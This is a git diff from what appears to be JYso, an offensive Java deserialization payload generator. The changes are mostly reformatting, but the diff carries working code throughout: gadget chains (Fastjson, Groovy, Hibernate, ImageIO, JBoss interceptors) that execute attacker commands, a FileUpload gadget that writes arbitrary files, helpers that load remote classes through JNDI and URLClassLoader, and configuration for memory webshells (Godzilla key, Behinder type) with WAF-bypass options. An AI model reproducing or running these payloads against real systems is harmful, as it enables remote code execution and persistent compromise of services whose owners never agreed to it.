static String HEADER_KEY = "Referer"; // 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/ - public static String HEADER_VALUE = "https://QI4L.cn/"; + public static String HEADER_VALUE = "https://QI4L.cn/"; // 哥斯拉的 key,默认是 key - public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; + public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; // 密码原文 - public static String PASSWORD_ORI = "p@ssw0rd"; + public static String PASSWORD_ORI = "p@ssw0rd"; // 命令执行回显时,传递执行命令的 Header 头 - public static String CMD_HEADER_STRING = "X-Token-Data"; + public static String CMD_HEADER_STRING = "X-Token-Data"; //内存马的类型 - public static String Shell_Type = "bx"; + public static String Shell_Type = "bx"; //是否使用windows下Agent写入 - public static Boolean winAgent = false; + public static Boolean winAgent = false; //是否使用Linux下Agent写入 - public static Boolean linAgent = false; + public static Boolean linAgent = false; // 是否在序列化数据流中的 TC_RESET 中填充脏数据 - public static Boolean IS_DIRTY_IN_TC_RESET = false; - public static Boolean IS_UTF_Bypass = false; - public static Boolean IS_Hessian1 = false; - public static Boolean IS_Hessian2 = false; - public static Boolean IS_Xstream = false; - public static Boolean IS_Kryo = false; - public static Boolean IS_JYAML = false; - public static Boolean IS_JsonIO = false; - public static Boolean IS_YamlBeans = false; - public static Boolean IS_Castor = false; - public static Boolean IS_Jackson = false; + public static Boolean IS_DIRTY_IN_TC_RESET = false; + public static Boolean IS_UTF_Bypass = false; + public static Boolean IS_Hessian1 = false; + public static Boolean IS_Hessian2 = false; + public static Boolean IS_Xstream = false; + public static Boolean IS_Kryo = false; + public static Boolean IS_JYAML = false; + public static Boolean IS_JsonIO = false; + public static Boolean IS_YamlBeans = false; + public static Boolean IS_Castor = false; + public static Boolean IS_Jackson = false; // 填充的脏数据长度 - public static int DIRTY_LENGTH_IN_TC_RESET = 0; + public static int DIRTY_LENGTH_IN_TC_RESET = 0; // 是否使用UTF-8 Overlong Encoding Bypass waf // jboss - public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; + public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; // DefineClassFromParameter 的路径 - public static String PARAMETER = "dc"; + public static String PARAMETER = "dc"; // 将输入直接写在文件里 - public static String FILE = "out.ser"; - public static Boolean WRITE_FILE = false; - public static Boolean BASE64 = false; + public static String FILE = "out.ser"; + public static Boolean WRITE_FILE = false; + public static Boolean BASE64 = false; // 是否强制使用 org.apache.XXX.TemplatesImpl - public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; + public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader - public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; + public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; // ScriptEngineManager 是否为 RHINO 引擎 - public static boolean USING_RHINO = false; - public static ClassPool POOL = ClassPool.getDefault(); + public static boolean USING_RHINO = false; + public static ClassPool POOL = ClassPool.getDefault(); // 不同类型内存马的父类/接口与其关键参数的映射 - public static HashMap KEY_METHOD_MAP = new HashMap<>(); + public static HashMap KEY_METHOD_MAP = new HashMap<>(); @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") - private static boolean help = false; + private static boolean help = false; static { // Servlet 型内存马,关键方法 service diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java index 9e6af62..df8ee70 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java @@ -15,9 +15,9 @@ import java.util.HashMap; public class Fastjson1 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.makeClass("a"); - CtClass superClass = pool.get(AbstractTranslet.class.getName()); + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); @@ -28,8 +28,8 @@ public class Fastjson1 implements ObjectPayload { JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java index 6d8ee9d..3dad3d5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java @@ -15,9 +15,9 @@ import java.util.HashMap; public class Fastjson2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.makeClass("a"); - CtClass superClass = pool.get(AbstractTranslet.class.getName()); + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); @@ -28,8 +28,8 @@ public class Fastjson2 implements ObjectPayload { JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java index e217d1e..6e1eb5c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java @@ -11,7 +11,36 @@ import java.io.IOException; import java.io.OutputStream; import java.util.Arrays; -public class FileUpload1 implements ReleaseableObjectPayload{ +public class FileUpload1 implements ReleaseableObjectPayload { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + @Override public DiskFileItem getObject(String command) throws Exception { @@ -32,41 +61,9 @@ public class FileUpload1 implements ReleaseableObjectPayload{ } } - public void release(DiskFileItem obj) throws Exception { + public void release(Object obj) throws Exception { // otherwise the finalizer deletes the file DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); Reflections.setFieldValue(obj, "dfos", dfos); } - - private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { - return makePayload(0, copyTo, copyAndDelete, new byte[1]); - } - - - // writes data to a random filename (update__.tmp) - private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { - return makePayload(data.length + 1, dir, dir + "/whatever", data); - } - - - // writes data to an arbitrary file - private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { - return makePayload(data.length + 1, file + "\0", file, data); - } - - - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { - // if thresh < written length, delete outputFile after copying to repository temp file - // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); - os.write(data); - Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); - Reflections.setFieldValue(diskFileItem, "dfos", dfos); - Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); - return diskFileItem; - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java index 4a9e279..0ed9bb1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java @@ -3,14 +3,7 @@ package com.qi4l.JYso.gadgets; import groovy.util.Expando; import org.codehaus.groovy.runtime.MethodClosure; -public class Groovy implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - Object e = makeGroovy(command); - UtilFactory uf = new UtilFactory(); - return uf.makeHashCodeTrigger(e); - } - +public class Groovy implements ObjectPayload { public static Object makeGroovy(String command) throws Exception { Expando expando = new Expando(); ProcessBuilder pb = new ProcessBuilder(command); @@ -19,4 +12,11 @@ public class Groovy implements ObjectPayload{ return expando; } + @Override + public Object getObject(String command) throws Exception { + Object e = makeGroovy(command); + UtilFactory uf = new UtilFactory(); + return uf.makeHashCodeTrigger(e); + } + } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java index f7a339a..aa084a8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java @@ -28,8 +28,8 @@ import java.util.Map; public class Groovy1 implements ObjectPayload { public InvocationHandler getObject(String command) throws Exception { - final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); - final Map map = Gadgets.createProxy(closure, Map.class); + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java index bf2a64d..9a00c79 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java @@ -13,19 +13,19 @@ import javax.management.BadAttributeValueExpException; public class Groovy2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); - Reflections.setFieldValue(execute,"owner",command); - Reflections.setFieldValue(execute,"method","execute"); - GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"}); + MethodClosure execute = (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); + Reflections.setFieldValue(execute, "owner", command); + Reflections.setFieldValue(execute, "method", "execute"); + GStringImpl gString = new GStringImpl(new Object[]{1}, new String[]{"start"}); try { - Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); - Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true); - } catch (Exception e){ - Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); + Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0); + Reflections.setFieldValue(execute, "ALLOW_RESOLVE", true); + } catch (Exception e) { + Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0); } - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Reflections.setFieldValue(val,"val",gString); - Reflections.setFieldValue(gString,"values",(new Object[]{execute})); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", gString); + Reflections.setFieldValue(gString, "values", (new Object[]{execute})); return val; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java index 4015a48..8700d95 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java @@ -69,9 +69,9 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { - Class getterIf = Class.forName("org.hibernate.property.Getter"); - Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); - Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); Reflections.setAccessible(bgCon); if (!method.startsWith("get")) { @@ -80,7 +80,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); - Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); Object arr = Array.newInstance(getterIf, 1); Array.set(arr, 0, g); return arr; @@ -89,11 +89,11 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { - Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); - Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); - Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); - Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); - Object arr = Array.newInstance(getterIf, 1); + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); Array.set(arr, 0, g); return arr; } @@ -133,15 +133,15 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { // Load at runtime to avoid dependency conflicts Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); - Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); - Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); + Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); + Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); - ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); - HashMap hm = new HashMap(); + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + HashMap hm = new HashMap(); hm.put(EntityMode.POJO, tup); Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); Reflections.setFieldValue(t, "tuplizerMapping", emtm); @@ -151,7 +151,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { }); Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); - Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "type", t); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java index b566e1e..1f4dc79 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -1,9 +1,5 @@ package com.qi4l.JYso.gadgets; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - import com.alibaba.fastjson.JSONArray; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; @@ -12,10 +8,13 @@ import javassist.CtClass; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; -@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) +@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) @Authors({Authors.UNAM4}) public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { @Override @@ -50,7 +49,7 @@ public class Hibernate3JDBC implements ObjectPayload, DynamicDependencie JSONArray jsonArray = new JSONArray(); jsonArray.add(o1); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java index 7db04a9..477f219 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java @@ -7,14 +7,8 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Collections; -public class ImageIO implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - UtilFactory uf = new UtilFactory(); - String args[] = {command}; - return makeImageIO(uf, args); - } - public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception { +public class ImageIO implements ObjectPayload { + public static Object makeImageIO(UtilFactory uf, String[] args) throws Exception { ProcessBuilder pb = new ProcessBuilder(args); Class cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter"); Constructor cfCons = cfCl.getDeclaredConstructor(Method.class, String.class); @@ -29,7 +23,8 @@ public class ImageIO implements ObjectPayload{ return uf.makeIteratorTrigger(filterIt); } - public static Object makeFilterIterator ( Object backingIt, Object first, Object filter ) + + public static Object makeFilterIterator(Object backingIt, Object first, Object filter) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { Class fiCl = Class.forName("javax.imageio.spi.FilterIterator"); Object filterIt = Reflections.createWithoutConstructor(fiCl); @@ -38,4 +33,11 @@ public class ImageIO implements ObjectPayload{ Reflections.setFieldValue(filterIt, "filter", filter); return filterIt; } + + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {command}; + return makeImageIO(uf, args); + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java index d7d3ce2..7fb6d4f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java @@ -33,9 +33,9 @@ public class JBossInterceptors1 implements ObjectPayload { final Object tpl; tpl = Gadgets.createTemplatesImpl(command); - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set s = new HashSet(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java index bf5b3e7..c17cab0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java @@ -14,7 +14,10 @@ import javax.crypto.Cipher; import javax.crypto.CipherInputStream; import javax.crypto.NullCipher; import javax.management.loading.MLet; -import javax.naming.*; +import javax.naming.Binding; +import javax.naming.CannotProceedException; +import javax.naming.NamingEnumeration; +import javax.naming.Reference; import javax.naming.directory.DirContext; import javax.naming.directory.SearchResult; import java.io.InputStream; @@ -23,7 +26,6 @@ import java.math.BigInteger; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; -import java.rmi.RemoteException; import java.rmi.server.ObjID; import java.util.*; import java.util.ServiceLoader; @@ -32,10 +34,11 @@ public class JDKUtil { /** * */ - private JDKUtil() {} + private JDKUtil() { + } - public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception { + public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); @@ -44,7 +47,7 @@ public class JDKUtil { } - public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception { + public static DirContext makeContinuationContext(String codebase, String clazz) throws Exception { Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); ccCons.setAccessible(true); @@ -55,8 +58,8 @@ public class JDKUtil { } - @SuppressWarnings ( "resource" ) - public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException, + @SuppressWarnings("resource") + public static Object makeIteratorTriggerNative(UtilFactory uf, Object it) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Cipher m = Reflections.createWithoutConstructor(NullCipher.class); Reflections.setFieldValue(m, "serviceIterator", it); @@ -84,7 +87,7 @@ public class JDKUtil { } - public static Object adaptEnumerationToIterator ( Enumeration enu ) throws ClassNotFoundException, NoSuchMethodException, + public static Object adaptEnumerationToIterator(Enumeration enu) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { Class clIt = Class.forName("sun.misc.Service$LazyIterator"); Constructor licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); @@ -97,7 +100,7 @@ public class JDKUtil { } - public static Iterator makeServiceIterator (ClassLoader cl, Class service ) throws Exception { + public static Iterator makeServiceIterator(ClassLoader cl, Class service) throws Exception { Class clIt = Class.forName("sun.misc.Service$LazyIterator"); Constructor lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); lciCons.setAccessible(true); @@ -105,13 +108,13 @@ public class JDKUtil { } - public static Iterable makeServiceLoader ( ClassLoader cl, Class service ) throws Exception { + public static Iterable makeServiceLoader(ClassLoader cl, Class service) throws Exception { return ServiceLoader.load(service, cl); } - public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception { - URLClassLoader ucl = new URLClassLoader(new URL[] { + public static URLClassLoader makeURLClassLoader(String url) throws MalformedURLException, Exception { + URLClassLoader ucl = new URLClassLoader(new URL[]{ new URL(url) }); Reflections.setFieldValue(ucl, "parent", null); @@ -124,8 +127,8 @@ public class JDKUtil { } - public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception { - URLClassLoader ucl = new MLet(new URL[] { + public static URLClassLoader makeMLet(String url) throws MalformedURLException, Exception { + URLClassLoader ucl = new MLet(new URL[]{ new URL(url) }); Reflections.setFieldValue(ucl, "parent", null); @@ -138,8 +141,8 @@ public class JDKUtil { } - @SuppressWarnings ( "unchecked" ) - public static Enumeration makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception { + @SuppressWarnings("unchecked") + public static Enumeration makeLazySearchEnumeration(String codebase, String clazz) throws Exception { DirContext ctx = makeContinuationContext(codebase, clazz); NamingEnumeration inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class); Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null)); @@ -147,11 +150,11 @@ public class JDKUtil { } - public static Enumeration makeBindingEnumeration ( String codebase, String clazz ) throws Exception { + public static Enumeration makeBindingEnumeration(String codebase, String clazz) throws Exception { Class cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration"); Object enu = Reflections.createWithoutConstructor(cl); Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz))); - Reflections.setFieldValue(enu, "names", new String[] { + Reflections.setFieldValue(enu, "names", new String[]{ "exp" }); Reflections.setFieldValue(enu, "nextName", 0); @@ -159,7 +162,7 @@ public class JDKUtil { } - private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception { + private static Object makeRegistryImpl(String codebase, String clazz) throws Exception { Class regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry"); Object reg = Reflections.createWithoutConstructor(regcl); Reflections.setFieldValue(reg, "name", "exp"); @@ -173,7 +176,7 @@ public class JDKUtil { } - private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception { + private static ReferenceWrapper makeReference(String codebase, String clazz) throws Exception { Reference ref = new Reference("Foo", clazz, codebase); ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class); Reflections.setFieldValue(wrapper, "wrappee", ref); @@ -182,7 +185,7 @@ public class JDKUtil { } - private static Object makeRegistryContext ( Object regi ) throws Exception { + private static Object makeRegistryContext(Object regi) throws Exception { Class regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext"); Object regctx = Reflections.createWithoutConstructor(regctxcl); Reflections.setFieldValue(regctx, "registry", regi); @@ -190,14 +193,13 @@ public class JDKUtil { } - public static HashMap makeMap ( Object v1, Object v2 ) throws Exception { + public static HashMap makeMap(Object v1, Object v2) throws Exception { HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); - } - catch ( ClassNotFoundException e ) { + } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); @@ -211,10 +213,10 @@ public class JDKUtil { } - @SuppressWarnings ( { + @SuppressWarnings({ "rawtypes", "unchecked" - } ) - public static Queue makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception { + }) + public static Queue makePriorityQueue(Object tgt, Comparator comparator) throws Exception { // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue<>(2, comparator); // stub data for replacement later @@ -223,17 +225,17 @@ public class JDKUtil { // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - queueArray[ 0 ] = tgt; - queueArray[ 1 ] = tgt; + queueArray[0] = tgt; + queueArray[1] = tgt; return queue; } - @SuppressWarnings ( { + @SuppressWarnings({ "rawtypes", "unchecked" - } ) - public static TreeMap makeTreeMap ( Object tgt, Comparator comparator ) throws Exception { + }) + public static TreeMap makeTreeMap(Object tgt, Comparator comparator) throws Exception { TreeMap tm = new TreeMap<>(comparator); Class entryCl = Class.forName("java.util.TreeMap$Entry"); @@ -250,29 +252,29 @@ public class JDKUtil { } - public static T createProxy (final InvocationHandler ih, final Class iface, final Class... ifaces ) { + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[ 0 ] = iface; - if ( ifaces.length > 0 ) { + allIfaces[0] = iface; + if (ifaces.length > 0) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); } - public static Map createMap ( final String key, final Object val ) { + public static Map createMap(final String key, final Object val) { final Map map = new HashMap<>(); map.put(key, val); return map; } - public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } - public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java 